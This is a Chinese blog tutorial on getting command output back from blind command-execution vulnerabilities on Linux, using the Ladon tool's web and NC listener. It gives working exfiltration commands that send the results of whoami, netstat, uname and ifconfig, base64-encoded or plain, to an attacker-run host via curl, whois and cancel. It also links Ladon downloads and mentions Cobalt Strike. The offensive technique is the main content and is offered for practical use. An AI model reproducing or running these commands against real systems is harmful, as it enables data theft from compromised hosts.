百度360必应搜狗淘宝本站头条
linux文件压缩linux用户组查看linux磁盘mysql安装linuxlinux多线程
当前位置：网站首页 > 优雅编程 > 正文

无回显命令执行漏洞之Linux渗透

sinye56 2024-11-26 08:29 1 浏览 0 评论

前言

很多时候命令回显漏洞由于一些特殊原因，无法构造或不方便构造回显，上回讲到JAVA反序列化漏洞Ladon回显方法。本文针对Linux系统实现命令执行漏洞回显方法，虽说JAVA跨平台但并不代表所有系统都预装有JAVA，实际上.NET一样是跨平台的，前提都要系统安装才可以，那么对于未安装JAVA的机器或非JAVA程序产生的命令执行漏洞，如何实现命令回显，将是本文讲述的重点。

JAVA篇：http://k8gege.org/Ladon/web_javarce.html

PowerShell篇：http://k8gege.org/p/Ladon_ps1_echo.html

启动WEB

1

Ladon web 800

PS: 建议使用8.3以上版本，以免部分命令回显结果导致Ladon崩溃

参数

1
2
3
4
5

/ip.txt or ip.jpg        Get Target WanIP
/getstr/AnyString        Get Request String
/getb64/AnyString        Base64 Encode (Request String)
/deb64/Base64String      Base64 Decode (Request String)
/deb64txt/Base64String      Base64 Decode Save TXT

浏览器回显

由于是HTTP协议，可以通过浏览器访问得到Ladon回显BASE64解密结果，就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文，但是结果中有特殊字符或换行就无法HTTP请求了，所以我们使用BASE64加密，这个原理我们在JAVA反序列化漏洞回显中有提到过。

明文回显

http://192.168.1.43:800/getstr/cve2020

Base64回显

http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=

保存txt

http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=

curl回显

命令回显

1

curl http://192.168.250.21:800/getstr/`whoami`

Base64回显

1

curl http://192.168.250.21:800/deb64/`whoami|base64`

1

curl http://192.168.250.21:800/deb64/`netstat -an|base64|tr '\n' '-'`

PS：Base64回显会多出-符号，导致8.2无法解密，Ladon 8.3已完美兼容

Whois回显

Ladon 8.3的Web或Gui版的NC均可回显，无论是否BASE64加密，Ladon均可完美支持

1
2
3
4
5

root@kali:~/Desktop# whois -h 192.168.250.27 -p 800 `uname -a|base64`
Timeout.

root@kali:~/Desktop# whois -h 192.168.250.27 -p 800 `uname -a`
Timeout.

Ladon nc回显

Ladon Web回显

cancel回显

1

root@kali:~/Desktop# cancel -u "$(ifconfig)" -h 192.168.250.27:800

cancel明文回显结果在Brequesting-username和”my-jobs之中

小结

本文主要使用Ladon的WEB与NC实现回显，实战中很多机器可能并不能DNS解析，意味着DNSLOG方法无效，但是Ladon可以完美解决DNS不解析导致DNSLOG失效的问题。

Download

LadonGo (ALL OS)

https://github.com/k8gege/LadonGo/releases

Ladon (Windows & Cobalt Strike)

历史版本: https://github.com/k8gege/Ladon/releases
7.0版本：http://k8gege.org/Download
8.3版本：K8小密圈

相关推荐

linux安装FTP

1、在nkftp目录下安装ftp，进入到nkftp里面[root@localhostbin]#cd/data/nkftp执行安装命令：[root@localhostnkftp]#rpm-i...

LINUX下搭建FTP服务器

FTP服务器介绍FTP是FileTransferProtocol（文件传输协议）的英文简称，而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时，它也是一个应用程序（App...

Linux下如何进行FTP设置

目录：一、Redhat/CentOS安装vsftp软件二、Ubuntu/Debian安装vsftp软件一、Redhat/CentOS安装vsftp软件1.更新yum源yumupdate-y2.安...

推荐使用集串口 SSH远程登录和FTP传输三合一工具MobaXterm

来源：百问网作者：韦东山本文字数：1216，阅读时长：4分钟在以前的资料里，串口和SSH远程登使用SecureCRT，window与ubuntu数据传输使用filezilla，窗口切换来切换去，麻烦也...

如何搭建FTP服务器(Linux系统)

上次说了Windows操作系统下搭建的FTP服务器，那有朋友问我，说买的XX轻量应用服务器都是属于Linux的操作系统，我该如何为搭建FTP服务器呢？...

Linux 命令 ncftp(文件传输)——想玩转linux就请一直看下去

我是IT悟道，点击右上方“关注”，每天分享IT、科技、数码方面的干货。Linuxncftp命令...

如何用 ftp 实现一键上传

简介ftp是Internet标准文件传输协议的用户界面，它允许用户与远程网络站点之间传输文件...

Linux安装ftp

1安装vsftpd组件安装完后，有/etc/vsftpd/vsftpd.conf文件，是vsftp的配置文件。[root@bogon~]#yum-yinstallvsftpd2添加一个...

一天一点点:linux - ftp命令

linuxftp命令设置文件系统相关功能。FTP是ARPANet的标准文件传输协议，该网络就是现今Internet的前身。语法ftp[-dignv][主机名称或IP地址]参数：-d详细显示指令执...

Centos 7 搭建FTP

目录安装软件以及启动服务添加防火墙规则关闭selinuxftp配置常用常用参数详解特殊参数配置文件没有的参数也可以添加到配置中1.安装软件以及启动服务yuminstall-yvsftpdsys...

【Linux】Linux中ftp命令，没有你想的那么简单

本文介绍了Linux中FTP命令的基本用法，包括连接与登录远程服务器，以及解析了FTP协议中五个最常用的操作命令的使用和解析过程。同时，提供了一个包含常用FTP操作命令的表格，供读者参考。通过熟练掌握...

linux 命令行操作ftp

以下是linuxftp命令参数的详解。FTP>!从ftp子系统退出到外壳?FTP>?显示ftp命令说明??和help相同?格式:?[command]说明:[com...

多学习才能多赚钱之:linux如何使用ftp

linux如何使用ftp步骤1:建立FTP连接想要连接FTP服务器，在命令上中先输入ftp然后空格跟上FTP服务器的域名'domain.com'或者IP地址例如:ftpdom...

linux常用网络操作方法:ftp命令使用方法

常用网络操作方法Linux提供了一组强有力的网络命令来为用户服务，这些工具能够帮助用户登录到远程计算机上、传输文件和执行远程命令等。本节介绍下列几个常用的有关网络操作的命令：ftp传输文件tel...

Linux 5.15有望合并Memory Folios方案 内核构建速度可提升7%

甲骨文公司的长期内核开发人员MatthewWilcox已经研究了“内存对开区”概念相当长的一段时间，这可以改善Linux的内存管理，使其具有更大的效率。例如，使用内存对开的基准测试表明，内核的构建速...

取消回复欢迎 你 发表评论:

一周热门
最近发表
标签列表